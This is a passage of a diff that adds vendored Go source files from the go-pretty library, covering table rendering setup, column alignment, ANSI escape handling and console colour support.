+			t.columnIsNonNumeric = append(t.columnIsNonNumeric, make([]bool, len(row)-t.numColumns)...)
+		}
+		// update t.numColumns
+		t.numColumns = len(row)
+	}
+
+	// convert each column to string and figure out if it has non-numeric data
+	rowOut := make(rowStr, len(row))
+	for colIdx, col := range row {
+		// if the column is not a number, keep track of it
+		if !hint.isHeaderRow && !hint.isFooterRow && !t.columnIsNonNumeric[colIdx] && !isNumber(col) {
+			t.columnIsNonNumeric[colIdx] = true
+		}
+
+		// convert to a string and store it in the row
+		var colStr string
+		if transformer := t.getColumnTransformer(colIdx, hint); transformer != nil {
+			colStr = transformer(col)
+		} else if colStrVal, ok := col.(string); ok {
+			colStr = colStrVal
+		} else {
+			colStr = fmt.Sprint(col)
+		}
+		if strings.Contains(colStr, "\t") {
+			colStr = strings.Replace(colStr, "\t", "    ", -1)
+		}
+		if strings.Contains(colStr, "\r") {
+			colStr = strings.Replace(colStr, "\r", "", -1)
+		}
+		rowOut[colIdx] = colStr
+	}
+	return rowOut
+}
+
+func (t *Table) getAlign(colIdx int, hint renderHint) text.Align {
+	align := text.AlignDefault
+	if cfg, ok := t.columnConfigMap[colIdx]; ok {
+		if hint.isHeaderRow {
+			align = cfg.AlignHeader
+		} else if hint.isFooterRow {
+			align = cfg.AlignFooter
+		} else {
+			align = cfg.Align
+		}
+	}
+	if align == text.AlignDefault {
+		if !t.columnIsNonNumeric[colIdx] {
+			align = text.AlignRight
+		} else if hint.isAutoIndexRow {
+			align = text.AlignCenter
+		}
+	}
+	return align
+}
+
+func (t *Table) getAutoIndexColumnIDs() rowStr {
+	row := make(rowStr, t.numColumns)
+	for colIdx := range row {
+		row[colIdx] = AutoIndexColumnID(colIdx)
+	}
+	return row
+}
+
+func (t *Table) getBorderColors(hint renderHint) text.Colors {
+	if hint.isFooterRow {
+		return t.style.Color.Footer
+	} else if t.autoIndex {
+		return t.style.Color.IndexColumn
+	}
+	return t.style.Color.Header
+}
+
+func (t *Table) getColumnColors(colIdx int, hint renderHint) text.Colors {
+	if t.rowPainter != nil && hint.isRegularRow() && !t.isIndexColumn(colIdx, hint) {
+		colors := t.rowsColors[hint.rowNumber-1]
+		if colors != nil {
+			return colors
+		}
+	}
+	if cfg, ok := t.columnConfigMap[colIdx]; ok {
+		if hint.isSeparatorRow {
+			return nil
+		} else if hint.isHeaderRow {
+			return cfg.ColorsHeader
+		} else if hint.isFooterRow {
+			return cfg.ColorsFooter
+		}
+		return cfg.Colors
+	}
+	return nil
+}
+
+func (t *Table) getColumnSeparator(row rowStr, colIdx int, hint renderHint) string {
+	separator := t.style.Box.MiddleVertical
+	if hint.isSeparatorRow {
+		if hint.isBorderTop {
+			if t.shouldMergeCellsHorizontallyBelow(row, colIdx, hint) {
+				separator = t.style.Box.MiddleHorizontal
+			} else {
+				separator = t.style.Box.TopSeparator
+			}
+		} else if hint.isBorderBottom {
+			if t.shouldMergeCellsHorizontallyAbove(row, colIdx, hint) {
+				separator = t.style.Box.MiddleHorizontal
+			} else {
+				separator = t.style.Box.BottomSeparator
+			}
+		} else {
+			separator = t.getColumnSeparatorNonBorder(
+				t.shouldMergeCellsHorizontallyAbove(row, colIdx, hint),
+				t.shouldMergeCellsHorizontallyBelow(row, colIdx, hint),
+				colIdx,
+				hint,
+			)
+		}
+	}
+	return separator
+}
+
+func (t *Table) getColumnSeparatorNonBorder(mergeCellsAbove bool, mergeCellsBelow bool, colIdx int, hint renderHint) string {
+	mergeNextCol := t.shouldMergeCellsVertically(colIdx, hint)
+	if hint.isAutoIndexColumn {
+		return t.getColumnSeparatorNonBorderAutoIndex(mergeNextCol, hint)
+	}
+
+	mergeCurrCol := t.shouldMergeCellsVertically(colIdx-1, hint)
+	return t.getColumnSeparatorNonBorderNonAutoIndex(mergeCellsAbove, mergeCellsBelow, mergeCurrCol, mergeNextCol)
+}
+
+func (t *Table) getColumnSeparatorNonBorderAutoIndex(mergeNextCol bool, hint renderHint) string {
+	if hint.isHeaderOrFooterSeparator() {
+		if mergeNextCol {
+			return t.style.Box.MiddleVertical
+		}
+		return t.style.Box.LeftSeparator
+	} else if mergeNextCol {
+		return t.style.Box.RightSeparator
+	}
+	return t.style.Box.MiddleSeparator
+}
+
+func (t *Table) getColumnSeparatorNonBorderNonAutoIndex(mergeCellsAbove bool, mergeCellsBelow bool, mergeCurrCol bool, mergeNextCol bool) string {
+	if mergeCellsAbove && mergeCellsBelow && mergeCurrCol && mergeNextCol {
+		return t.style.Box.EmptySeparator
+	} else if mergeCellsAbove && mergeCellsBelow {
+		return t.style.Box.MiddleHorizontal
+	} else if mergeCellsAbove {
+		return t.style.Box.TopSeparator
+	} else if mergeCellsBelow {
+		return t.style.Box.BottomSeparator
+	} else if mergeCurrCol && mergeNextCol {
+		return t.style.Box.MiddleVertical
+	} else if mergeCurrCol {
+		return t.style.Box.LeftSeparator
+	}
+	return t.style.Box.MiddleSeparator
+}
+
+func (t *Table) getColumnTransformer(colIdx int, hint renderHint) text.Transformer {
+	var transformer text.Transformer
+	if cfg, ok := t.columnConfigMap[colIdx]; ok {
+		if hint.isHeaderRow {
+			transformer = cfg.TransformerHeader
+		} else if hint.isFooterRow {
+			transformer = cfg.TransformerFooter
+		} else {
+			transformer = cfg.Transformer
+		}
+	}
+	return transformer
+}
+
+func (t *Table) getColumnWidthMax(colIdx int) int {
+	if cfg, ok := t.columnConfigMap[colIdx]; ok {
+		return cfg.WidthMax
+	}
+	return 0
+}
+
+func (t *Table) getColumnWidthMin(colIdx int) int {
+	if cfg, ok := t.columnConfigMap[colIdx]; ok {
+		return cfg.WidthMin
+	}
+	return 0
+}
+
+func (t *Table) getFormat(hint renderHint) text.Format {
+	if hint.isSeparatorRow {
+		return text.FormatDefault
+	} else if hint.isHeaderRow {
+		return t.style.Format.Header
+	} else if hint.isFooterRow {
+		return t.style.Format.Footer
+	}
+	return t.style.Format.Row
+}
+
+func (t *Table) getRow(rowIdx int, hint renderHint) rowStr {
+	switch {
+	case hint.isHeaderRow:
+		if rowIdx >= 0 && rowIdx < len(t.rowsHeader) {
+			return t.rowsHeader[rowIdx]
+		}
+	case hint.isFooterRow:
+		if rowIdx >= 0 && rowIdx < len(t.rowsFooter) {
+			return t.rowsFooter[rowIdx]
+		}
+	default:
+		if rowIdx >= 0 && rowIdx < len(t.rows) {
+			return t.rows[rowIdx]
+		}
+	}
+	return rowStr{}
+}
+
+func (t *Table) getRowConfig(hint renderHint) RowConfig {
+	rowIdx := hint.rowNumber - 1
+	if rowIdx < 0 {
+		rowIdx = 0
+	}
+
+	switch {
+	case hint.isHeaderRow:
+		return t.rowsHeaderConfigMap[rowIdx]
+	case hint.isFooterRow:
+		return t.rowsFooterConfigMap[rowIdx]
+	default:
+		return t.rowsConfigMap[rowIdx]
+	}
+}
+
+func (t *Table) getSeparatorColors(hint renderHint) text.Colors {
+	if hint.isHeaderRow {
+		return t.style.Color.Header
+	} else if hint.isFooterRow {
+		return t.style.Color.Footer
+	} else if hint.isAutoIndexColumn {
+		return t.style.Color.IndexColumn
+	} else if hint.rowNumber > 0 && hint.rowNumber%2 == 0 {
+		return t.style.Color.RowAlternate
+	}
+	return t.style.Color.Row
+}
+
+func (t *Table) getVAlign(colIdx int, hint renderHint) text.VAlign {
+	vAlign := text.VAlignDefault
+	if cfg, ok := t.columnConfigMap[colIdx]; ok {
+		if hint.isHeaderRow {
+			vAlign = cfg.VAlignHeader
+		} else if hint.isFooterRow {
+			vAlign = cfg.VAlignFooter
+		} else {
+			vAlign = cfg.VAlign
+		}
+	}
+	return vAlign
+}
+
+func (t *Table) initForRender() {
+	// pick a default style if none was set until now
+	t.Style()
+
+	// initialize the column configs and normalize them
+	t.initForRenderColumnConfigs()
+
+	// initialize and stringify all the raw rows
+	t.initForRenderRows()
+
+	// find the longest continuous line in each column
+	t.initForRenderColumnLengths()
+
+	// generate a separator row and calculate maximum row length
+	t.initForRenderRowSeparator()
+
+	// reset the counter for the number of lines rendered
+	t.numLinesRendered = 0
+}
+
+func (t *Table) initForRenderColumnConfigs() {
+	findColumnNumber := func(row Row, colName string) int {
+		for colIdx, col := range row {
+			if fmt.Sprint(col) == colName {
+				return colIdx + 1
+			}
+		}
+		return 0
+	}
+
+	t.columnConfigMap = map[int]ColumnConfig{}
+	for _, colCfg := range t.columnConfigs {
+		// find the column number if none provided; this logic can work only if
+		// a header row is present and has a column with the given name
+		if colCfg.Number == 0 {
+			for _, row := range t.rowsHeaderRaw {
+				colCfg.Number = findColumnNumber(row, colCfg.Name)
+				if colCfg.Number > 0 {
+					break
+				}
+			}
+		}
+		if colCfg.Number > 0 {
+			t.columnConfigMap[colCfg.Number-1] = colCfg
+		}
+	}
+}
+
+func (t *Table) initForRenderColumnLengths() {
+	var findMaxColumnLengths = func(rows []rowStr) {
+		for _, row := range rows {
+			for colIdx, colStr := range row {
+				longestLineLen := text.LongestLineLen(colStr)
+				if longestLineLen > t.maxColumnLengths[colIdx] {
+					t.maxColumnLengths[colIdx] = longestLineLen
+				}
+			}
+		}
+	}
+
+	t.maxColumnLengths = make([]int, t.numColumns)
+	findMaxColumnLengths(t.rowsHeader)
+	findMaxColumnLengths(t.rows)
+	findMaxColumnLengths(t.rowsFooter)
+
+	// restrict the column lengths if any are over or under the limits
+	for colIdx := range t.maxColumnLengths {
+		maxWidth := t.getColumnWidthMax(colIdx)
+		if maxWidth > 0 && t.maxColumnLengths[colIdx] > maxWidth {
+			t.maxColumnLengths[colIdx] = maxWidth
+		}
+		minWidth := t.getColumnWidthMin(colIdx)
+		if minWidth > 0 && t.maxColumnLengths[colIdx] < minWidth {
+			t.maxColumnLengths[colIdx] = minWidth
+		}
+	}
+}
+
+func (t *Table) initForRenderHideColumns() {
+	// if there is nothing to hide, return fast
+	hasHiddenColumns := false
+	for _, cc := range t.columnConfigMap {
+		if cc.Hidden {
+			hasHiddenColumns = true
+			break
+		}
+	}
+	if !hasHiddenColumns {
+		return
+	}
+
+	colIdxMap := make(map[int]int)
+	numColumns := 0
+	_hideColumns := func(rows []rowStr) []rowStr {
+		var rsp []rowStr
+		for _, row := range rows {
+			var rowNew rowStr
+			for colIdx, col := range row {
+				cc := t.columnConfigMap[colIdx]
+				if !cc.Hidden {
+					rowNew = append(rowNew, col)
+					colIdxMap[colIdx] = len(rowNew) - 1
+				}
+			}
+			if len(rowNew) > numColumns {
+				numColumns = len(rowNew)
+			}
+			rsp = append(rsp, rowNew)
+		}
+		return rsp
+	}
+
+	// hide columns as directed
+	t.rows = _hideColumns(t.rows)
+	t.rowsFooter = _hideColumns(t.rowsFooter)
+	t.rowsHeader = _hideColumns(t.rowsHeader)
+
+	// reset numColumns to the new number of columns
+	t.numColumns = numColumns
+
+	// re-create columnIsNonNumeric with new column indices
+	columnIsNonNumeric := make([]bool, t.numColumns)
+	for oldColIdx, nonNumeric := range t.columnIsNonNumeric {
+		if newColIdx, ok := colIdxMap[oldColIdx]; ok {
+			columnIsNonNumeric[newColIdx] = nonNumeric
+		}
+	}
+	t.columnIsNonNumeric = columnIsNonNumeric
+
+	// re-create columnConfigMap with new column indices
+	columnConfigMap := make(map[int]ColumnConfig)
+	for oldColIdx, cc := range t.columnConfigMap {
+		if newColIdx, ok := colIdxMap[oldColIdx]; ok {
+			columnConfigMap[newColIdx] = cc
+		}
+	}
+	t.columnConfigMap = columnConfigMap
+}
+
+func (t *Table) initForRenderRows() {
+	t.reset()
+
+	// auto-index: calc the index column's max length
+	t.autoIndexVIndexMaxLength = len(fmt.Sprint(len(t.rowsRaw)))
+
+	// stringify all the rows to make it easy to render
+	if t.rowPainter != nil {
+		t.rowsColors = make([]text.Colors, len(t.rowsRaw))
+	}
+	t.rows = t.initForRenderRowsStringify(t.rowsRaw, renderHint{})
+	t.rowsFooter = t.initForRenderRowsStringify(t.rowsFooterRaw, renderHint{isFooterRow: true})
+	t.rowsHeader = t.initForRenderRowsStringify(t.rowsHeaderRaw, renderHint{isHeaderRow: true})
+
+	// sort the rows as requested
+	t.initForRenderSortRows()
+
+	// suppress columns without any content
+	t.initForRenderSuppressColumns()
+
+	// strip out hidden columns
+	t.initForRenderHideColumns()
+}
+
+func (t *Table) initForRenderRowsStringify(rows []Row, hint renderHint) []rowStr {
+	rowsStr := make([]rowStr, len(rows))
+	for idx, row := range rows {
+		if t.rowPainter != nil && hint.isRegularRow() {
+			t.rowsColors[idx] = t.rowPainter(row)
+		}
+		rowsStr[idx] = t.analyzeAndStringify(row, hint)
+	}
+	return rowsStr
+}
+
+func (t *Table) initForRenderRowSeparator() {
+	t.maxRowLength = 0
+	if t.autoIndex {
+		t.maxRowLength += text.RuneCount(t.style.Box.PaddingLeft)
+		t.maxRowLength += len(fmt.Sprint(len(t.rows)))
+		t.maxRowLength += text.RuneCount(t.style.Box.PaddingRight)
+		if t.style.Options.SeparateColumns {
+			t.maxRowLength += text.RuneCount(t.style.Box.MiddleSeparator)
+		}
+	}
+	if t.style.Options.SeparateColumns {
+		t.maxRowLength += text.RuneCount(t.style.Box.MiddleSeparator) * (t.numColumns - 1)
+	}
+	t.rowSeparator = make(rowStr, t.numColumns)
+	for colIdx, maxColumnLength := range t.maxColumnLengths {
+		maxColumnLength += text.RuneCount(t.style.Box.PaddingLeft + t.style.Box.PaddingRight)
+		t.maxRowLength += maxColumnLength
+		t.rowSeparator[colIdx] = text.RepeatAndTrim(t.style.Box.MiddleHorizontal, maxColumnLength)
+	}
+	if t.style.Options.DrawBorder {
+		t.maxRowLength += text.RuneCount(t.style.Box.Left + t.style.Box.Right)
+	}
+}
+
+func (t *Table) initForRenderSortRows() {
+	if len(t.sortBy) == 0 {
+		return
+	}
+
+	// sort the rows
+	sortedRowIndices := t.getSortedRowIndices()
+	sortedRows := make([]rowStr, len(t.rows))
+	for idx := range t.rows {
+		sortedRows[idx] = t.rows[sortedRowIndices[idx]]
+	}
+	t.rows = sortedRows
+
+	// sort the rowsColors
+	if len(t.rowsColors) > 0 {
+		sortedRowsColors := make([]text.Colors, len(t.rows))
+		for idx := range t.rows {
+			sortedRowsColors[idx] = t.rowsColors[sortedRowIndices[idx]]
+		}
+		t.rowsColors = sortedRowsColors
+	}
+}
+
+func (t *Table) initForRenderSuppressColumns() {
+	shouldSuppressColumn := func(colIdx int) bool {
+		for _, row := range t.rows {
+			if colIdx < len(row) && row[colIdx] != "" {
+				return false
+			}
+		}
+		return true
+	}
+
+	if t.suppressEmptyColumns {
+		for colIdx := 0; colIdx < t.numColumns; colIdx++ {
+			if shouldSuppressColumn(colIdx) {
+				cc := t.columnConfigMap[colIdx]
+				cc.Hidden = true
+				t.columnConfigMap[colIdx] = cc
+			}
+		}
+	}
+}
+
+func (t *Table) isIndexColumn(colIdx int, hint renderHint) bool {
+	return t.indexColumn == colIdx+1 || hint.isAutoIndexColumn
+}
+
+func (t *Table) render(out *strings.Builder) string {
+	outStr := out.String()
+	if t.outputMirror != nil && len(outStr) > 0 {
+		_, _ = t.outputMirror.Write([]byte(outStr))
+		_, _ = t.outputMirror.Write([]byte("\n"))
+	}
+	return outStr
+}
+
+func (t *Table) reset() {
+	t.autoIndexVIndexMaxLength = 0
+	t.columnIsNonNumeric = nil
+	t.maxColumnLengths = nil
+	t.maxRowLength = 0
+	t.numColumns = 0
+	t.rowsColors = nil
+	t.rowSeparator = nil
+	t.rows = nil
+	t.rowsFooter = nil
+	t.rowsHeader = nil
+}
+
+func (t *Table) shouldMergeCellsHorizontallyAbove(row rowStr, colIdx int, hint renderHint) bool {
+	if hint.isAutoIndexColumn || hint.isAutoIndexRow {
+		return false
+	}
+
+	rowConfig := t.getRowConfig(hint)
+	if hint.isSeparatorRow {
+		if hint.isHeaderRow && hint.rowNumber == 1 {
+			rowConfig = t.getRowConfig(hint)
+			row = t.getRow(hint.rowNumber-1, hint)
+		} else if hint.isFooterRow && hint.isFirstRow {
+			rowConfig = t.getRowConfig(renderHint{isLastRow: true, rowNumber: len(t.rows)})
+			row = t.getRow(len(t.rows)-1, renderHint{})
+		} else if hint.isFooterRow && hint.isBorderBottom {
+			row = t.getRow(len(t.rowsFooter)-1, renderHint{isFooterRow: true})
+		} else {
+			row = t.getRow(hint.rowNumber-1, hint)
+		}
+	}
+
+	if rowConfig.AutoMerge {
+		return row.areEqual(colIdx-1, colIdx)
+	}
+	return false
+}
+
+func (t *Table) shouldMergeCellsHorizontallyBelow(row rowStr, colIdx int, hint renderHint) bool {
+	if hint.isAutoIndexColumn || hint.isAutoIndexRow {
+		return false
+	}
+
+	var rowConfig RowConfig
+	if hint.isSeparatorRow {
+		if hint.isHeaderRow && hint.rowNumber == 0 {
+			rowConfig = t.getRowConfig(renderHint{isHeaderRow: true, rowNumber: 1})
+			row = t.getRow(0, hint)
+		} else if hint.isHeaderRow && hint.isLastRow {
+			rowConfig = t.getRowConfig(renderHint{rowNumber: 1})
+			row = t.getRow(0, renderHint{})
+		} else if hint.isFooterRow && hint.rowNumber >= 0 {
+			rowConfig = t.getRowConfig(renderHint{isFooterRow: true, rowNumber: 1})
+			row = t.getRow(hint.rowNumber, renderHint{isFooterRow: true})
+		} else if hint.isRegularRow() {
+			rowConfig = t.getRowConfig(renderHint{rowNumber: hint.rowNumber + 1})
+			row = t.getRow(hint.rowNumber, renderHint{})
+		}
+	}
+
+	if rowConfig.AutoMerge {
+		return row.areEqual(colIdx-1, colIdx)
+	}
+	return false
+}
+
+func (t *Table) shouldMergeCellsVertically(colIdx int, hint renderHint) bool {
+	if t.columnConfigMap[colIdx].AutoMerge && colIdx < t.numColumns {
+		if hint.isSeparatorRow {
+			rowPrev := t.getRow(hint.rowNumber-1, hint)
+			rowNext := t.getRow(hint.rowNumber, hint)
+			if colIdx < len(rowPrev) && colIdx < len(rowNext) {
+				return rowPrev[colIdx] == rowNext[colIdx] || "" == rowNext[colIdx]
+			}
+		} else {
+			rowPrev := t.getRow(hint.rowNumber-2, hint)
+			rowCurr := t.getRow(hint.rowNumber-1, hint)
+			if colIdx < len(rowPrev) && colIdx < len(rowCurr) {
+				return rowPrev[colIdx] == rowCurr[colIdx] || "" == rowCurr[colIdx]
+			}
+		}
+	}
+	return false
+}
+
+// renderHint has hints for the Render*() logic
+type renderHint struct {
+	isAutoIndexColumn bool // auto-index column?
+	isAutoIndexRow    bool // auto-index row?
+	isBorderBottom    bool // bottom-border?
+	isBorderTop       bool // top-border?
+	isFirstRow        bool // first-row of header/footer/regular-rows?
+	isFooterRow       bool // footer row?
+	isHeaderRow       bool // header row?
+	isLastLineOfRow   bool // last-line of the current row?
+	isLastRow         bool // last-row of header/footer/regular-rows?
+	isSeparatorRow    bool // separator row?
+	rowLineNumber     int  // the line number for a multi-line row
+	rowNumber         int  // the row number/index
+}
+
+func (h *renderHint) isRegularRow() bool {
+	return !h.isHeaderRow && !h.isFooterRow
+}
+
+func (h *renderHint) isHeaderOrFooterSeparator() bool {
+	return h.isSeparatorRow && !h.isBorderBottom && !h.isBorderTop &&
+		((h.isHeaderRow && !h.isLastRow) || (h.isFooterRow && (!h.isFirstRow || h.rowNumber > 0)))
+}
+
+func (h *renderHint) isLastLineOfLastRow() bool {
+	return h.isLastLineOfRow && h.isLastRow
+}

vendor/github.com/jedib0t/go-pretty/v6/table/util.go

@@ -0,0 +1,37 @@
+package table
+
+import (
+	"reflect"
+)
+
+// AutoIndexColumnID returns a unique Column ID/Name for the given Column Number.
+// The functionality is similar to what you get in an Excel spreadsheet w.r.t.
+// the Column ID/Name.
+func AutoIndexColumnID(colIdx int) string {
+	charIdx := colIdx % 26
+	out := string(rune(65 + charIdx))
+	colIdx = colIdx / 26
+	if colIdx > 0 {
+		return AutoIndexColumnID(colIdx-1) + out
+	}
+	return out
+}
+
+// isNumber returns true if the argument is a numeric type; false otherwise.
+func isNumber(x interface{}) bool {
+	switch reflect.TypeOf(x).Kind() {
+	case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64,
+		reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64,
+		reflect.Float32, reflect.Float64:
+		return true
+	}
+	return false
+}
+
+// WidthEnforcer is a function that helps enforce a width condition on a string.
+type WidthEnforcer func(col string, maxLen int) string
+
+// widthEnforcerNone returns the input string as is without any modifications.
+func widthEnforcerNone(col string, maxLen int) string {
+	return col
+}

vendor/github.com/jedib0t/go-pretty/v6/table/writer.go

@@ -0,0 +1,43 @@
+package table
+
+import (
+	"io"
+)
+
+// Writer declares the interfaces that can be used to setup and render a table.
+type Writer interface {
+	AppendFooter(row Row, configs ...RowConfig)
+	AppendHeader(row Row, configs ...RowConfig)
+	AppendRow(row Row, configs ...RowConfig)
+	AppendRows(rows []Row, configs ...RowConfig)
+	AppendSeparator()
+	Length() int
+	Render() string
+	RenderCSV() string
+	RenderHTML() string
+	RenderMarkdown() string
+	ResetFooters()
+	ResetHeaders()
+	ResetRows()
+	SetAllowedRowLength(length int)
+	SetAutoIndex(autoIndex bool)
+	SetCaption(format string, a ...interface{})
+	SetColumnConfigs(configs []ColumnConfig)
+	SetIndexColumn(colNum int)
+	SetOutputMirror(mirror io.Writer)
+	SetPageSize(numLines int)
+	SetRowPainter(painter RowPainter)
+	SetStyle(style Style)
+	SetTitle(format string, a ...interface{})
+	SortBy(sortBy []SortBy)
+	Style() *Style
+	SuppressEmptyColumns()
+
+	// deprecated; in favor of Style().HTML.CSSClass
+	SetHTMLCSSClass(cssClass string)
+}
+
+// NewWriter initializes and returns a Writer.
+func NewWriter() Writer {
+	return &Table{}
+}

vendor/github.com/jedib0t/go-pretty/v6/text/align.go

@@ -0,0 +1,137 @@
+package text
+
+import (
+	"fmt"
+	"strconv"
+	"strings"
+	"unicode/utf8"
+)
+
+// Align denotes how text is to be aligned horizontally.
+type Align int
+
+// Align enumerations
+const (
+	AlignDefault Align = iota // same as AlignLeft
+	AlignLeft                 // "left        "
+	AlignCenter               // "   center   "
+	AlignJustify              // "justify   it"
+	AlignRight                // "       right"
+)
+
+// Apply aligns the text as directed. For ex.:
+//  * AlignDefault.Apply("Jon Snow", 12) returns "Jon Snow    "
+//  * AlignLeft.Apply("Jon Snow",    12) returns "Jon Snow    "
+//  * AlignCenter.Apply("Jon Snow",  12) returns "  Jon Snow  "
+//  * AlignJustify.Apply("Jon Snow", 12) returns "Jon     Snow"
+//  * AlignRight.Apply("Jon Snow",   12) returns "    Jon Snow"
+func (a Align) Apply(text string, maxLength int) string {
+	text = a.trimString(text)
+	sLen := utf8.RuneCountInString(text)
+	sLenWoE := RuneCount(text)
+	numEscChars := sLen - sLenWoE
+
+	// now, align the text
+	switch a {
+	case AlignDefault, AlignLeft:
+		return fmt.Sprintf("%-"+strconv.Itoa(maxLength+numEscChars)+"s", text)
+	case AlignCenter:
+		if sLenWoE < maxLength {
+			// left pad with half the number of spaces needed before using %text
+			return fmt.Sprintf("%"+strconv.Itoa(maxLength+numEscChars)+"s",
+				text+strings.Repeat(" ", int((maxLength-sLenWoE)/2)))
+		}
+	case AlignJustify:
+		return a.justifyText(text, sLenWoE, maxLength)
+	}
+	return fmt.Sprintf("%"+strconv.Itoa(maxLength+numEscChars)+"s", text)
+}
+
+// HTMLProperty returns the equivalent HTML horizontal-align tag property.
+func (a Align) HTMLProperty() string {
+	switch a {
+	case AlignLeft:
+		return "align=\"left\""
+	case AlignCenter:
+		return "align=\"center\""
+	case AlignJustify:
+		return "align=\"justify\""
+	case AlignRight:
+		return "align=\"right\""
+	default:
+		return ""
+	}
+}
+
+// MarkdownProperty returns the equivalent Markdown horizontal-align separator.
+func (a Align) MarkdownProperty() string {
+	switch a {
+	case AlignLeft:
+		return ":--- "
+	case AlignCenter:
+		return ":---:"
+	case AlignRight:
+		return " ---:"
+	default:
+		return " --- "
+	}
+}
+
+func (a Align) justifyText(text string, textLength int, maxLength int) string {
+	// split the text into individual words
+	wordsUnfiltered := strings.Split(text, " ")
+	words := Filter(wordsUnfiltered, func(item string) bool {
+		return item != ""
+	})
+	// empty string implies spaces for maxLength
+	if len(words) == 0 {
+		return strings.Repeat(" ", maxLength)
+	}
+	// get the number of spaces to insert into the text
+	numSpacesNeeded := maxLength - textLength + strings.Count(text, " ")
+	numSpacesNeededBetweenWords := 0
+	if len(words) > 1 {
+		numSpacesNeededBetweenWords = numSpacesNeeded / (len(words) - 1)
+	}
+	// create the output string word by word with spaces in between
+	var outText strings.Builder
+	outText.Grow(maxLength)
+	for idx, word := range words {
+		if idx > 0 {
+			// insert spaces only after the first word
+			if idx == len(words)-1 {
+				// insert all the remaining space before the last word
+				outText.WriteString(strings.Repeat(" ", numSpacesNeeded))
+				numSpacesNeeded = 0
+			} else {
+				// insert the determined number of spaces between each word
+				outText.WriteString(strings.Repeat(" ", numSpacesNeededBetweenWords))
+				// and reduce the number of spaces needed after this
+				numSpacesNeeded -= numSpacesNeededBetweenWords
+			}
+		}
+		outText.WriteString(word)
+		if idx == len(words)-1 && numSpacesNeeded > 0 {
+			outText.WriteString(strings.Repeat(" ", numSpacesNeeded))
+		}
+	}
+	return outText.String()
+}
+
+func (a Align) trimString(text string) string {
+	switch a {
+	case AlignDefault, AlignLeft:
+		if strings.HasSuffix(text, " ") {
+			return strings.TrimRight(text, " ")
+		}
+	case AlignRight:
+		if strings.HasPrefix(text, " ") {
+			return strings.TrimLeft(text, " ")
+		}
+	default:
+		if strings.HasPrefix(text, " ") || strings.HasSuffix(text, " ") {
+			return strings.Trim(text, " ")
+		}
+	}
+	return text
+}

vendor/github.com/jedib0t/go-pretty/v6/text/ansi.go

@@ -0,0 +1,55 @@
+package text
+
+import "strings"
+
+// ANSICodesSupported will be true on consoles where ANSI Escape Codes/Sequences
+// are supported.
+var ANSICodesSupported = areANSICodesSupported()
+
+// Escape encodes the string with the ANSI Escape Sequence.
+// For ex.:
+//  Escape("Ghost", "") == "Ghost"
+//	Escape("Ghost", "\x1b[91m") == "\x1b[91mGhost\x1b[0m"
+//	Escape("\x1b[94mGhost\x1b[0mLady", "\x1b[91m") == "\x1b[94mGhost\x1b[0m\x1b[91mLady\x1b[0m"
+//	Escape("Nymeria\x1b[94mGhost\x1b[0mLady", "\x1b[91m") == "\x1b[91mNymeria\x1b[94mGhost\x1b[0m\x1b[91mLady\x1b[0m"
+//	Escape("Nymeria \x1b[94mGhost\x1b[0m Lady", "\x1b[91m") == "\x1b[91mNymeria \x1b[94mGhost\x1b[0m\x1b[91m Lady\x1b[0m"
+func Escape(str string, escapeSeq string) string {
+	out := ""
+	if !strings.HasPrefix(str, EscapeStart) {
+		out += escapeSeq
+	}
+	out += strings.Replace(str, EscapeReset, EscapeReset+escapeSeq, -1)
+	if !strings.HasSuffix(out, EscapeReset) {
+		out += EscapeReset
+	}
+	if strings.Contains(out, escapeSeq+EscapeReset) {
+		out = strings.Replace(out, escapeSeq+EscapeReset, "", -1)
+	}
+	return out
+}
+
+// StripEscape strips all ANSI Escape Sequence from the string.
+// For ex.:
+//  StripEscape("Ghost") == "Ghost"
+//	StripEscape("\x1b[91mGhost\x1b[0m") == "Ghost"
+//	StripEscape("\x1b[94mGhost\x1b[0m\x1b[91mLady\x1b[0m") == "GhostLady"
+//	StripEscape("\x1b[91mNymeria\x1b[94mGhost\x1b[0m\x1b[91mLady\x1b[0m") == "NymeriaGhostLady"
+//	StripEscape("\x1b[91mNymeria \x1b[94mGhost\x1b[0m\x1b[91m Lady\x1b[0m") == "Nymeria Ghost Lady"
+func StripEscape(str string) string {
+	var out strings.Builder
+	out.Grow(RuneCount(str))
+
+	isEscSeq := false
+	for _, sChr := range str {
+		if sChr == EscapeStartRune {
+			isEscSeq = true
+		}
+		if !isEscSeq {
+			out.WriteRune(sChr)
+		}
+		if isEscSeq && sChr == EscapeStopRune {
+			isEscSeq = false
+		}
+	}
+	return out.String()
+}

vendor/github.com/jedib0t/go-pretty/v6/text/ansi_unix.go

@@ -0,0 +1,7 @@
+// +build !windows
+
+package text
+
+func areANSICodesSupported() bool {
+	return true
+}

vendor/github.com/jedib0t/go-pretty/v6/text/ansi_windows.go

@@ -0,0 +1,31 @@
+// +build windows
+
+package text
+
+import (
+	"os"
+	"sync"
+
+	"golang.org/x/sys/windows"
+)
+
+var (
+	enableVTPMutex = sync.Mutex{}
+)
+
+func areANSICodesSupported() bool {
+	enableVTPMutex.Lock()
+	defer enableVTPMutex.Unlock()
+
+	outHandle := windows.Handle(os.Stdout.Fd())
+	var outMode uint32
+	if err := windows.GetConsoleMode(outHandle, &outMode); err == nil {
+		if outMode&windows.ENABLE_VIRTUAL_TERMINAL_PROCESSING != 0 {
+			return true
+		}
+		if err := windows.SetConsoleMode(outHandle, outMode|windows.ENABLE_VIRTUAL_TERMINAL_PROCESSING); err == nil {
+			return true
+		}
+	}
+	return false
+}

vendor/github.com/jedib0t/go-pretty/v6/text/color.go

@@ -0,0 +1,183 @@
+package text
+
+import (
+	"fmt"
+	"sort"
+	"strconv"
+	"strings"
+	"sync"
+)
+
+var (
+	colorsEnabled = areANSICodesSupported()
+)
+
+// DisableColors (forcefully) disables color coding globally.
+func DisableColors() {
+	colorsEnabled = false
+}
+
+// EnableColors (forcefully) enables color coding globally.
+func EnableColors() {
+	colorsEnabled = true
+}
+
+// The logic here is inspired from github.com/fatih/color; the following is
+// the the bare minimum logic required to print Colored to the console.
+// The differences:
+// * This one caches the escape sequences for cases with multiple colors
+// * This one handles cases where the incoming already has colors in the
+//   form of escape sequences; in which case, text that does not have any
+//   escape sequences are colored/escaped
+
+// Color represents a single color to render with.
+type Color int
+
+// Base colors -- attributes in reality
+const (
+	Reset Color = iota
+	Bold
+	Faint
+	Italic
+	Underline
+	BlinkSlow
+	BlinkRapid
+	ReverseVideo
+	Concealed
+	CrossedOut
+)
+
+// Foreground colors
+const (
+	FgBlack Color = iota + 30
+	FgRed
